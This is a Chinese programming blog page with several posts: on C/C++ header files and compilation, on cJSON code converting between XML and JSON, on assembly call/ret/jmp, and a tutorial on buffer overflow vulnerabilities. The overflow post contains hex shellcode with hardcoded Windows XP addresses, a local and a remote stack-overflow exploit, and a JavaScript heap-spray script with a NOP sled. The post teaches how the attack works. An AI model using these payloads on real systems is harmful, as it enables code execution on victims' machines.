}在这个例子中我们在add.cpp文件中先定义一个add函数,然后在main文件中先包含这个源代码文件,然后在main函数中直接调用add函数,项目的目录结构如下:在这里给大家说一个技巧,在VS中右击项目--->选择属性------>C++------>命令行,在编辑框中填入 /P,然后打开对应的文件点击编译(这里不能选生成,由于/P选项只会进行预处理并编译这一个文件,其余.cpp文件并没有编译,选生成一定会报错)点击编译以后它会在项目的源码目录下生成一个与对应cpp同名的.i文件,这个文件是预处理之后生成的源文件。这个技巧对于调试检查和理解宏定义的代码十分重要,我们看到预处理之后的代码如下:int add(int x, int y) { return x + y; } int main() { int x = add(1, 2); return 0; }这段代码中我把注释给删掉了,注释表示后面的代码段都是来自于哪个文件的,从代码文件来看,include被替换掉了,正是用add.cpp文件中的代码替换了,去掉之前添加的/P参数,再次点击编译,发现它报错了,报的是add函数重复定义。因为编译add.cpp时生成的add.obj中有函数add的定义,而在main文件中又有add函数的定义。我们将代码做简单的改变就可以解决这个问题,最终的代码如下://add.cpp int add(int x, int y); #ifndef __ADD_H__ int add(int x, int y) { return x + y; } #endif // __ADD_H__ //main.cpp #define __ADD_H__ #include "add.cpp" int main() { int x = add(1, 2); return 0; }在这段代码中加了一个宏定义,如果没有定义这个宏则包含add的实现代码,否则不包含。然后在main文件中定义这个宏,表示在main中不包含它的实现,但是不管怎么样都需要在add.cpp中加上add函数的定义,否则在调用add函数时会报add函数未定义的变量或者函数上述写法的窘境上面只引入一个文件,我们来试试引入两个, 在这个项目中新增一个mul文件来编写一个乘法的函数#define __ADD_H__ #include "add.cpp" int mul(int x, int y); #ifndef __MUL_H__ int mul(int x, int y) { int res = 0; for(int i =0; i < y; i++) { res = add(res, x); } return res; } #endif上面的乘法函数利用之前的add函数,乘法是多次累加的结果,在上面的代码中由于要使用add函数,所以先包含add.cpp文件,并定义宏保证没有重复定义,然后再写对应的算法。最后在main中引用这个函数#define __ADD_H__ #define __MUL_H__ #include "add.cpp" #include "mul.cpp" int main() { int x = add(1, 2); x = mul(x, 2); return 0; }注意这里对应宏定义和include的顺序,稍有不慎就可能会报错,一般都是报重复定义的错误,如果报错还请使用之前介绍的/P选项来排错到这里是不是觉得这么写很麻烦?其实我在准备这些例子的时候也是这样,很多时候没有注意相关代码的顺序导致报错,而针对重复定义的报错很难排查。而这还仅仅只引入了两个文件,一般的项目中几时上百个文件那就更麻烦了头文件的诞生从上面的两个例子来看,其实我们只需要包含对应的声明,不需要也不能包含它的实现。很自然的就想到专门编写一个文件来包含所有的定义,这样要使用对应的函数或者变量的时候直接包含这个文件就可以了,这个就是我们所说的头文件了。至于为什么叫做头文件,这只是一个约定俗成的叫法,而以.h来命名也只是一个约定而已,我们经常看到C++的开源项目中将头文件以.hpp命名。这个真的只是一个约定而已,我们也看到了上面的例子都包含的是cpp文件,它也能编译过。其实针对所有的变量、类、函数可以都在统一的头文件中声明,但是这么做又带来一个问题,如果我要看它的实现怎么办,那么多个文件我不可能一个个的找吧。所以这里又有一条约定,每个模块都放在统一的cpp文件中而该文件中相关内容的声明则放到与之同名的头文件中其实我觉得这个原则在所有静态的、需要区分声明和实现的语言应该是都适用的,像我知道的汇编语言,特别是win32 的宏汇编,它也有一个头文件的思想。C语言编译过程在上面我基本上回答了为什么需要一个头文件,但是本质的问题还是没有解决,为什么像Python这类动态语言也有对应模块、多文件,但是它不需要像C那样要先声明才能使用?要回答这个问题需要了解一点C/C++的编译过程。C/C++编译的时候先扫描整个文件有没有语法错误,然后将C语句转化为汇编,当碰到不认识的变量、类、函数、对象的命名时,首先查找它有没有声明,如果没有声明直接报错,如果有,则根据对应的定义空出一定的存储空间并进行相关的指令转化:比如给变量赋值时会转化为mov指令并将、调用函数时会使用call指令。这样就解释了为什么在声明时指定变量类型,如果编译器不知道类型就不知道该用什么指令来替换C代码。同时会将对应的变量名作为符号保留。然后在符号表(这个符号表时每个代码文件都有一个)中填入该文件中定义的相关内容的符号以及它所在的首地址。最终如果未发生错误就生成了一个对应的.obj文件,这就是编译的基本过程。编译完成之后进行链接,首先扫描所有的obj文件,先查找main函数,然后根据main函数中代码的执行流程来一一组织代码结构,当碰到之前保留的符号时,去所有的obj中的符号表中根据变量符号查找对应的地址,当它发现找到多个地址的时候就会报重复定义的错误。如果未找到对应的符号就会报函数或者变量已经声明但是未定义。找到之后会将之前obj中的符号替换为地址,比如将 mov eax num替换成 mov eax, 0x00ff7310这样的指令。最终生成一个PE文件。根据上面的编译过程来看,它事先会扫描文件中所有的变量定义,所以必须让编译器知道这个变量是什么。而Python是边解释边执行,所以事先不需要声明,只要执行到该处能找到定义即可。它们这点区别就解释了为什么C/C++需要声明而Python不用。
2018年06月16日
4 阅读
0 评论
0 点赞
2017-06-04
使用CJSON库实现XML与JSON格式的相互转化
之前完成了一个两个平台对接的项目。由于这两个平台一个是使用json格式的数据,一个是使用xml格式的数据,要实现它们二者的对接就涉及到这两个数据格式的转化,在查阅相关资料的时候发现了这个CJSON库,cjson是使用c编写的,它轻巧易用,在网上查了相关的资料后决定在json格式的存储于解析这块采用cjson库,而xml就简单的来解析字符串。cjson库中常用的几个函数简介cJSON_Parse该函数需要传入一个json格式的字符串,函数会将这个字符串转化为json格式保存起来,函数会返回一个表示json对象的指针,如果传入json格式字符串有误,函数会返回NULL,所以在之后如果要使用它生成的json对象的指针,一定要校验指针值cJSON_CreateObject创建一个json格式的对相关,用来保存之后的json格式数据cJSON_CreateArray创建一个json格式的数组cJSON_AddItemToObject将某个数据插入到对应的json对象中,函数需要三个参数,第一个参数是一个json对象,表示要往哪个json对象里面插入数据,第二个参数是一个字符串指针,表示该项的键值,第三个参数是一个json对象,表示要将何种对象插入到json对象中,这个函数一般是用来插入一个数组对象cJSON_AddNumberToObject对于插入数值,或者字符串值,如果调用cJSON_AddItemToObject,需要向将他们转化为json对象然后插入,为了方便库中提供了一个宏来方便插入数字值,它的参数与cJSON_AddItemToObject类似,只是最后一个参数是一个数字值cJSON_AddStringToObject将字符串插入json对象中,它的用法与cJSON_AddNumberToObject相同cJSON_Print将json对象转化为json格式的字符串cJson_Delete由于cjson对象是用malloc函数分配的内存,所以需要使用这个函数来释放分配的内存,否则会造成内存泄露。这个函数会释放对象中的所有内存单元,包括使用相关函数添加到对象中的子对象,所以在释放了对象的内存后,它的子对象的内存就不需要再次释放了cJosn结构体typedef struct cJSON { struct cJSON *next; struct cJSON *prev; struct cJSON *child; int type; char *valuestring; int valueint; double valuedouble; char *string; } cJSON;cjson中采用该结构体来存储json格式的数据,这个结构体存储的是json格式的单个项,其中为了能存储所有常用类型的数据,在里面定义了三种类型的成员,分别表示不同的数据类型值,string 成员表示的是该项的键值;它里面的三个指针分别表示同级别的下一项,上一项以及它的子节点,这些值在遍历这个json对象中的数据时需要用到具体的算法json格式转化为xml格式string CJson::Json2Xml(const string &strJson) { string strXml = ""; cJSON *pRoot = cJSON_Parse(strJson.c_str()); if (NULL == pRoot) { return ""; } cJSON *pChild = pRoot->child; while (pChild != NULL) { if (pChild->child != NULL) //存在子节点的情况 { std::string strSubKey = pChild->string; //获取它的键 std::string strSubValue = Json2Xml(cJSON_Print(pChild)); //获取它的值 std::string strSubXml = "<" + strSubKey + ">" + strSubValue + "</" + strSubKey + ">"; strXml += strSubXml; }else { std::string strKey = pChild->string; std::string strVal = ""; if (pChild->valuestring != NULL) { string strTemp = pChild->valuestring; strVal = "\"" + strTemp + "\""; }else { //其余情况作为整数处理 strVal = cJSON_Print(pChild); } strXml = strXml + "<" + strKey + ">" + strVal + "</" + strKey + ">"; } pChild = pChild->next; } if(NULL != pRoot) { cJson_Delete(pRoot); } return strXml; }上述代码首先将传进来的json格式的字符串转化为json对象,然后再遍历这个json对象。cjson在存储json格式的数据时,首先利用一个空的cJson结构体来保存整个json格式,类似于存在头指针的链表,它的child节点指针指向的是里面的第一个成员的信息,所以在遍历之前需要将指针偏移到它的child节点处。这个遍历的整体思想是:依次遍历它的同级节点,分别取出它的键和值key、value,并且将这一项组织成类似于<key>value</key>它的同级节点以相同的字符串结构添加到它的后面。如果某个成员中有子节点,那么递归调用这个函数,,并将返回的值作为value,在它的两侧加上key的标签。另外在遍历的时候需要注意的是它的值,其实这块可以使用cjson结构中的type来做更精准的判断,之前我在写这块的代码的时候没有仔细的查看库的源代码,所以简单的利用valuestring指针来判断,如果是字符串那么在字符串的两侧加上引号,否则什么都不加,在生成的xml中只需要判断值中是否有引号,有则表示它是一个字符串,否则是一个数字类型的值xml转json//暂时不考虑xml标签中存在属性值的问题 string CJson::Xml2Json(const string &strxml) { cJSON *pJsonRoot = cJSON_CreateObject(); string strNext = strxml; int nPos = 0; while ((nPos = strNext.find("<")) != -1) { string strKey = GetXmlKey(strNext); string strValue = GetXmlValueFromKey(strNext, strKey); string strCurrXml = strNext; strNext = GoToNextItem(strNext, strKey); int LabelPos = strValue.find("<"); // < 所在位置 int nMarkPos = strValue.find("\""); // " 所在位置 if (strValue != "" && LabelPos != -1 && LabelPos < nMarkPos) //引号出现在标签之后 { //里面还有标签 string strNextKey = GetXmlKey(strNext); //下一个的标签与这个相同,则为一个数组 if (strNextKey == strKey) { cJSON *pArrayObj = cJSON_CreateArray(); int nCnt = GetArrayItem(strCurrXml); for (int i = 0; i < nCnt; i++) { strKey = GetXmlKey(strCurrXml); strValue = GetXmlValueFromKey(strCurrXml, strKey); string strArrayItem = Xml2Json(strValue); cJSON *pArrayItem = cJSON_Parse(strArrayItem.c_str()); cJSON_AddItemToArray(pArrayObj, pArrayItem); strCurrXml = GoToNextItem(strCurrXml, strKey); } cJSON_AddItemToObject(pJsonRoot, strNextKey.c_str(), pArrayObj); strNext = strCurrXml; }else { //否则为普通对象 string strSubJson = Xml2Json(strValue); cJSON *pSubJsonItem = cJSON_CreateObject(); pSubJsonItem = cJSON_Parse(strSubJson.c_str()); cJSON_AddItemToObject(pJsonRoot, strKey.c_str(), pSubJsonItem); } } else { if (strValue.find("\"") == -1) //这个是数字 { cJSON_AddNumberToObject(pJsonRoot, strKey.c_str(), atof(strValue.c_str())); }else { remove_char(strValue, '\"'); cJSON_AddStringToObject(pJsonRoot, strKey.c_str(), strValue.c_str()); } } } string strJson = cJSON_Print(pJsonRoot); cJson_Delete(pJsonRoot); return strJson; }就像注释上说的,这段代码没有考虑xml中标签存在属性的问题,如果考虑上的话,我的想法是将属性作为该项的子项,给子项对应的键名做一个约定,以某个规律来命名,比如"标签名_contrib",这样在解析的时候一旦出现后面带有contrib的字符样式,就知道它是属性,后面就遍历这个子节点取出并以字符串的形式保存即可算法的思想跟之前的类似,在这我定义了几个函数用来从xml中取出每一项的键,值信息,然后将这些信息保存到json对象中,最后生成一个完整的json对象,调用print函数将对象转化为json格式的字符串。在while表示如果它的后面没有"<"表示后面就没有对应的值,这个时候就是xml格式的数据遍历完了,这个时候结循环中判断了下是否存在下一个标签,如果没有则结束循环,返回json格式字符串,函数返回。在循环中依次遍历它的每一个标签,在第一个if判断中出现这样的语句strValue != "" && LabelPos != -1 && LabelPos < nMarkPos,strValue表示的是标签中的值,LabelPos表示值中出现"<"的位置,而nMarkPos表示引号出现的位置,结合它们三个变量表示的含义,其实这句话表示如果值里面有"<"并且这个出现在引号之前,那么就说明是标签套标签,也就是存在子标签,这个时候需要递归调用函数,解析子标签的内存,如果这个"<"符号出现在引号之后,则表示它只是值中字符串的一部分,并没有子标签,这个时候就不需要进行递归。另外还判断了是否存在数组的情况,在json中数组是以一个类似于子对象的方式存储的,所在转化为xml时会将它作为一个子项存储,只是它的标签于父项的标签相同,所以判断数组的语句是当它存在子项时进行的,当得到它是一个数组时,会往后一直遍历,直到下一个标签不同于它,找到数组之后依次将这些值插入数组对象,并将整个数组对象插入到json对象中。当它只是一个普通的对象时会根据是否存在引号来判断它是否是字符串,然后调用不同的添加项的函数来插入数据最后将json对象转化为字符串,清空内存并返回函数(万别忘记清理内存)整个项目的下载地址:下载
2017年06月04日
5 阅读
0 评论
0 点赞
2016-10-31
缓冲区溢出漏洞
缓冲区溢出的根本原因是冯洛伊曼体系的计算机并不严格的区分代码段和数据段,只是简单的根据eip的指向来决定哪些是代码,所以缓冲区溢出攻击都会通过某种方式修改eip的值,让其指向恶意代码。缓冲区溢出攻击一般分为堆缓冲区溢出攻击和栈缓冲区溢出攻击栈缓冲区溢出攻击栈缓冲区溢出攻击的一般是传入一个超长的带有shellcode的字符缓冲,覆盖栈中的EIP值,这样当函数执行完成返回后就会返回到有shellcode的地方,执行恶意代码,下面我们通过一个例子详细的分析void msg_display(char * buf) { char msg[200]; strcpy(msg,buf); cout<<msg<<endl; }这个函数分配了200个字节的缓冲区,然后通过strcpy函数将传进来的字符串复制到缓冲区中,最后输出,如果传入的字符串大于200的话就会发生溢出,并向后覆盖堆栈中的信息,如果只是一些乱码的话那个最多造成程序崩溃,如果传入的是一段精心设计的代码,那么计算机可能回去执行这段攻击代码。在调用函数时它的汇编代码大致上是这样的;调用函数 push buf call msg_display ;函数调用完成后平衡堆栈 add esp, 4 ;函数中的汇编代码 ;保留原始的ebp,在release版中没有ebp push ebp mov eb, esp ;这个具体是多少我也 不太清楚,VC上默认给48h再加上函数中所有局部变量的大小计算得到的是110h sub esp 110h ;....其他操作 ;返回 mov esp,ebp pop ebp ret函数的堆栈大致如下如果传入的buf长度小于等于200的话,那么这个函数不会有问题,如果传入的大于200就会向后面溢出,覆盖后面的内容,一般针对这种漏洞,攻击者会精心构造一个字符串,这段字符串大致是由这些内容组成:204个不为0的随机字符 + jmp esp指令的地址+shellcode这样在最后执行完函数中的操作时在返回时会将eip的值改成jmp esp的指令所在的地址,CPU就会执行esp所指向的位置的指令,而这个位置正是攻击者通过溢出手段所提供的攻击代码。至于这个jmp esp的地址在原始程序所生成的汇编代码中有大量这样的代码,通过暴力搜索很容易得到,覆盖之后,在函数返回之前的时候堆栈的环境大致如下ret指令与call是互逆的,首先ret地址出栈,这样esp就指向后面的攻击代码,然后根据eip指向的地址去执行jmp esp的代码,这样就能顺利的去执行攻击代码了。下面是一个利用缓冲区溢出攻击的例子unsigned char shellcode[] = "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x7b\x1d\x80\x7c" "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc7\x93\xbf\x77" "\xFF\xD0"; void func1(char* s) { char buf[10]; strcpy(buf, s); } void func2(void) { printf("Hacked by me.\n"); exit(0); } int main(int argc, char* argv[]) { char badCode[] = "aaaabbbb2222cccc4444ffff"; DWORD* pEIP = (DWORD*)&badCode[16]; //*pEIP = (DWORD)func2; *pEIP = (DWORD)shellcode; func1(badCode); return 0; }这个代码是xp的debug模式下运行,func1会出现缓冲区溢出的漏洞,在主函数中我们利用了这个漏洞,传入了一个超长的字符串,其中shellcode是一个开启command part对应的机器码,在主函数中我们首先定义了一个非法的字符串,然后将字符串的弟16个字符赋值为shellcode的首地址,为什么这里是16个呢,稍作计算就可以得出这个数,在func1中提供的缓冲是10个,根据内存对齐,其实它是占12个字节,接着在他的下面是老ebp,占4个字节,所以eip的返回地址是在buf + 12 + 4 = buf + 16的位置。这样就将原始的老eip的地址修改为了shellcode的首地址。而如果我们打开下面注释的语句,而将之前的那句给pEip赋值的语句注释起来,那么将会执行func2,通过这句将ret的地址修改为func2的首地址,那么自然会执行func2函数,需要注意的是在shellcode中一般都会在结束的位置调用一个ExitProcess,因为我们通过缓冲区溢出将代码写到了堆栈上,如果代码接着向下执行,就会执行堆栈上的无效代码,这样程序肯定会崩溃,而被攻击者也会发现。另外一点是对于像strcpy这样根据字符串末尾的\0来做为拷贝结束的标志的函数,利用它的漏洞则shellcode的中简不能出现\0,即使有也要用其他类似的指令替代就向把mov eax, 0这样的替换成xor eax, eax这个是在本地做的缓冲区溢出的例子,这个例子是自己攻击自己,这样起不到攻击的效果,下面这个是通过文件的方式进行攻击。#include <stdio.h> #include <windows.h> #define PASSWORD "1234567" int verify_password (char *password) { int authenticated; char buffer[44]; authenticated=strcmp(password,PASSWORD); strcpy(buffer,password);//over flowed here! return authenticated; } int main() { int valid_flag=0; char password[1024]; HANDLE hFile = NULL; DWORD dwReadLength = 0; LoadLibrary("user32.dll");//prepare for messagebox hFile = CreateFile("password.txt", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (NULL == hFile) { printf("open file error!\n"); return 0; } ReadFile(hFile, password, 1024, &dwReadLength, NULL); if (0 == dwReadLength) { printf("read error!\n"); return 0; } valid_flag = verify_password(password); if(valid_flag) { printf("incorrect password!\n"); } else { printf("Congratulation! You have passed the verification!\n"); } CloseHandle(hFile); return 0; }同样,这个程序发生溢出漏洞主要的位置是在verify_password 函数中的strcpy中,函数提供了44个字节的缓冲,但是我们传入的字符可能大于44,而这次攻击的主要代码是放在password.txt这个文件中,我们使用16进制的查看器,查看这个文件,得到如下结果根据计算可以得出,修改eip的位置应该是在44 + 4 + 4 = 52 = 0x34 位置进行,而在xpsp3中0x77d29353对应的是jmp esp的地址,这个是我调试的图仔细的对照发现,这段汇编码 所对应的机器码与文件中后面的部分完全一样。这样就完成了一个shellcode的注入下面的例子是一个远程注入的例子,通过虚拟机模拟两台计算机之间的通信void msg_display(char * buf) { char msg[200]; strcpy(msg,buf);// overflow here, copy 0x200 to 200 cout<<"********************"<<endl; cout<<"received:"<<endl; cout<<msg<<endl; }服务器端的程序主要功能是从客户端接收数据,并调用该函数打印字符串,从函数的代码来看,如果传入的字符少于200则不会出现问题,如果大于200,则会发生溢出。所以在这种情况下,攻击者从客户端发送一段精心构造的字符,进行缓冲区溢出攻击,执行它的恶意代码,原理与本地端程序的相同,下面是shellcode部分的代码unsigned char buff[0x200] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaa"//200个a "\x53\x93\xd2\x77"//jmp esp "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x7b\x1d\x80\x7c" //loadlibrary地址 "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65" "\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe"); "\xFF\xD0" "\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address "\xff\xd0"//ExitProcess(0); ;服务器是采用release的方式编译的,所以在调用函数的时候没有进行ebp的压栈,所以在弟200个字符的位置就是jmp esp的地址,后面紧跟着攻击者构建的攻击代码,这段机器码主要的功能是弹出一个计算器从上面的例子中我们看到许多shellcode都是采用16进制的方式硬编码出来的,而我们不可能真的拿16进制的机器码去编写程序,所以有的时候为了实现特定的功能,可以先使用C编写相关的代码,然后通过调试在VS中点击ALT + 8得到对应的汇编码,在汇编的界面上点击右键,选择显示汇编码那个选项就可以得到上面调试图片的代码,前面是地址,后面是汇编对应的机器码。堆栈协同攻击在使用栈溢出攻击的时候经常会破坏原始的堆栈,这样在执行完成攻击代码后如果不结束程序,一般程序都会崩溃,堆栈协同攻击是将攻击代码写入到堆中,对于栈来说只覆盖ret位置的地址,让其指向一个特定的地址,并将攻击代码写到这个地址上。通过缓冲区溢出的方式将栈中保存的eip的值修改为0x0c0c0c0c,然后在堆中分配200M的内存,将这200M分为200分,每份1M,都填充为、\0x90\0x90\0x90.......\0x90 + shellcode + 0x00...0x00的方式,这样在函数返回时会返回到对应的地址,执行攻击代码。在这有几个问题。为什么需要给填充那么多90也就是Nop指令?我们说上面给的地址只是假想的地址,并不能保证分配的堆内存一定是这个首地址,如果堆内存以shellcode开头那么如果这个时候0x0c0c0c0c很有可能正好落在shellcode的某个指令里面,可能会发生指令截断,而执行错误的指令,所以前面以nop指令填充,Nop占一个字节,所以可以避免这种问题为什么要用0x0c0c0c0c这种对称的值做为返回地址?要回答这个问题我们先假设这样一个情景,现在有一个获取文件全路径的函数,先通过某个方式得到文件所在目录szPath,然后根据用户传入的名称调用strcat将两个字符串进行拼接,然后最后返回,这个时候strcat由于不校验缓冲区的大小,就产生了一个可以利用的漏洞,但是由于返回的szPath路径长度不确定,那么我们传入多少个字符可以刚好溢出到ret的地址呢?有一种方法就是将所有的四个字节都写入这个返回地址,就像0x12345678 0x12345678 0x12345678这种,但是由于我们不知道szPath具体会是多少个字符,如果比我们预计的多一个那么覆盖到的就可能是0x34567812如果少一个则会是0x78123456,这些都不是我们想要的,所以采用0x0c0c0c0c这种对称的返回地址不管你的szPath是多少个字节,我都可以正确的将这个地址覆盖到ret的位置。为什么要分配200M这么到的空间,而且怎么保证这个0x0c0c0c0c一定落在这200M里面?由于系统是随机分配的堆内存,所以分配的这块内存的首地址具体实多少谁也不知道,也不能保证这个0x0c0c0c0c一定会落在这200M空间内,所以我们分配这么大的空间,分为200份,每份都有这个shellcode,纯粹只是为了加大这个0x0c0c0c0c命中的概率,毕竟相比于shellcode不到几K的大小200M其实是很大的。这个方法跳转到的地址是不确定的,有一定的盲目性,所以又叫做盲跳攻击下面是一个利用javascript写得堆栈协同攻击的例子:<script language="javascript"> var codeTemp = "%u558B%uEC33%uC050%u5050%uC645%uF44D%uC645%uF553" +"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" +"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" +"\x7b\x1d\x80\x7c" //loadlibrary地址 +"\x52\x8D\x45\xF4\x50" +"\xFF\x55\xF0" +"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65" +"\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" +"\x50\xB8" +"\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe"); +"\xFF\xD0" +"\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address +"\xff\xd0"//ExitProcess(0); var codeTemp22 = "%u8B55%u33EC%u50C0%u5050%u45C6%u4DF4%u45C6%u53F5" //+"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" +"\u45C6\u56F6\u45C6\u43F7\u45C6\u52F8\u45C6\u54F9\u45C6\u2eFA\u45C6" +"\u44FB\u45C6\u4CFC\u45C6\u4CFD\uBA90" //s+"\uC644\uFC45\uC64C\uFD45\uBA4C" +"\u1d7b\u7c80" //loadlibrary地址 +"\u8D52\uF445\uFF50" +"\uF055" +"\u8B55\u83EC\u2CEC\u63B8\u6c61\u8963\uF445\u2eB8\u7865\u8965" +"\uF845\u20B8\u2020\u8922\uFC45\uD233\u5588\u8DFF\uF445" +"\uB850" +"\u93c7\u77bf" //sytem函数地址 system("calc.eue"); +"\uD0FF" +"\ub853\ucafa\u7c81"//EuitProcess Address +"\ud0ff"//EuitProcess(0); var shellcode=unescape(codeTemp22) ; var nop=unescape("%u9090%u9090"); while (nop.length<= 0x100000/2) { nop+=nop; } nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 ); var slide = new Array();//fill 200MB heap memory with our block for (var i=0; i<200; i++) { slide[i] = nop + shellcode; } </script>这段代码首先利用循环分配了200M的空间,将每兆都写入shellcode加上nop指令,如果浏览器打开这个段代码将会在某个堆上面写入这段shellcode,如果浏览器被人利用溢出攻击将返回地址改为0x0c0c0c0c,那么很可能会跳转到这段代码上面,在测试的时候可以使用dll注入的方式,制造一个缓冲区溢出漏洞,然后在触发它就可以实现这个。下面是dll中用来触发溢出的代码char *szOverflowBuff[] = "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x0c\x0c\x0c\x0c"; void test_overflow() { char szBuf[28]; strcpy(szBuf, szOverflowBuff); }那么在debug版本下这个字符串刚好能够覆盖ret的地址,所以如果IE首先打开了之前的脚本,将shellcode写入到内存中的,然后再执行这个代码,就会覆盖ret在返回返回的时候跳转到shellcode的位置执行shellcode的内容。
2016年10月31日
3 阅读
0 评论
0 点赞
2016-10-23
用call和ret实现子程序
ret和call是另外两种转移指令,它们与jmp的主要区别是,它们还包含入栈和出栈的操作。具体的原理如下:ret操作相当于:pop ip(直接将栈顶元素赋值给ip寄存器)call s的操作相当于:push ip jmp s(先将ip的值压栈,再跳转)retf的操作相当于:pop ip pop cscall dword ptr s相当于:push cs push ip这两组指令为我们编写含子函数的程序提供了便利,一般的格式如下:main: ......... call s ........ a s: ........ call s1 .......... b ret s1: .......... call s2 ......... c ret s2: ......... d call s3 ret s3: ........ ret分析以上的程序,假设call的下一条指令的偏移地址分别为:a、b、c、d随着程序的执行,ip指向call指令,CPU将这条指令放入指令缓冲器,执行上一条指令,然后ip指向下一条指令,ip = a。执行call指令,根据call的原理先执行a入栈,此时栈中的情况如下然后跳转到s,执行到call指令处时,ip = b,b首先入栈,然后跳转到s1执行到s1处的call指令时,ip = c,c入栈,然后跳转到s2执行到s2处的call指令时,ip = d,d入栈,然后跳转到s3执行到s3处的ret指令时,栈顶元素出栈,ip = d,程序返回到s2中,到ret时,ip = c,程序返回到s1,再次执行ret,ip = b,程序返回到s,执行ret,ip = a,程序返回到main中,接下来正常执行main中的代码,知道整个程序结束。
2016年10月23日
6 阅读
0 评论
0 点赞
2016-10-23
汇编转移指令jmp原理
在计算机中存储的都是二进制数,计算机将内存中的某些数当做代码,某些数当做数据。在根本上,将cs,ip寄存器所指向的内存当做代码,指令转移就是修改cs,ip寄存器的指向,汇编中提供了一种修改它们的指令——jmp。jmp指令可以修改IP或cs和IP的值来实现指令转移,指令格式为:”jmp 标号“将指令转移到标号处,例如:CODES SEGMENT ASSUME CS:CODES START: MOV AX,0 jmp s inc ax s: mov ax,3 MOV AH,4CH INT 21H CODES ENDS END START通过单步调试可以看出在执行jmp后直接执行s标号后面的代码,此时ax为3,。jmp s所对应的机器码为"EB01",在“Inc ax”后面再加其他的指令(加两个 nop指令)此时jmp所对应的机器码为"EB03",每一个nop指令占一个字节,在添加或删除它们之间的代码可以看到jmp指令所对应的机器码占两个字节,第一个字节的机器码并不发生改变,改变的是第二个字节的内容,并且第二个字节的内容存储的是跳转目标指令所在内存与jmp指令所在内存之间的位移。其实cup在执行jmp指令时并不会记录标号所在的内存地址,而是通过标号与jmp指令之间的位移,假设jmp指令的下一条指令的地址为org,位移为idata,则目标的内存地址为dec = org + idata。(idata有正负之分)在CPU中有指令累加器称之为CA寄存器, 程序每执行一条,CA的值加1,jmp指令后可以有4中形式“jmp short s、jmp、 s jmp near ptr s、jmp far ptr s”编译器在翻译时,位移所对应的内粗大小为1、2、2、4(分别是cs和ip所对应的位移)。都是带符号的整型。jmp指令的跳转分为两种情况:向前跳转和向后跳转。向后跳转:jmp (.....)s ...... ...... s:......这种情况下,编译器将jmp指令读完后,读下一条指令,并将CA加1,一直读到相应的标号处,此时CA的值就是位移,根据具体的伪指令来分配内存的大小(此时的数应该为正数)向前跳转 :s:....... ........ jmp (......) s编译器在遇到标号时会在标号后添加几个nop指令("jmp short s、jmp、 s jmp near ptr s、jmp far ptr s"分别添加1,2,2,4个),读下一条指令时将CA寄存器的值加1,得到对应的位移,生成机器码(此时为负数).这两种方式分别得到位移后,在执行过程中,利用上述公式计算出对应的地址,实现指令的转移下面的一段代码充分说明了jmp的这种实现跳转的机制:assume cs:code code segment mov ax,4c00h int 21h start: mov ax,0 s: nop nop mov di,offset s mov si,offset s2 mov ax,cs:[si] mov cs:[di],ax s0: jmp short s s1: mov ax,0 int 21h mov ax,0 s2: jmp short s1 nop code ends end start通过以上的分析可以得出,几个jmp指令所占的空间为2个字节,一个保存jmp本省的机器码,EB,另一个保存位移。因此两个nop指令后面的四句是将s2处的“jmp short s1”所对应的机器码拷贝到s处,利用debug下的-u命令可以看出该处的机器码为“EB F6” f6转化为十进制是-10.执行到s0处时,jmp指令使CPU下一次执行s处的代码,“EB F6”对应的操作利用公式可以得出IP = A - A = 0,下一步执行的代码是“MOV AX,4C00H”,也就是说该程序在此处结束。用-t命令单步调试:
2016年10月23日
7 阅读
0 评论
0 点赞
2016-10-23
C语言中处理结构体的原理
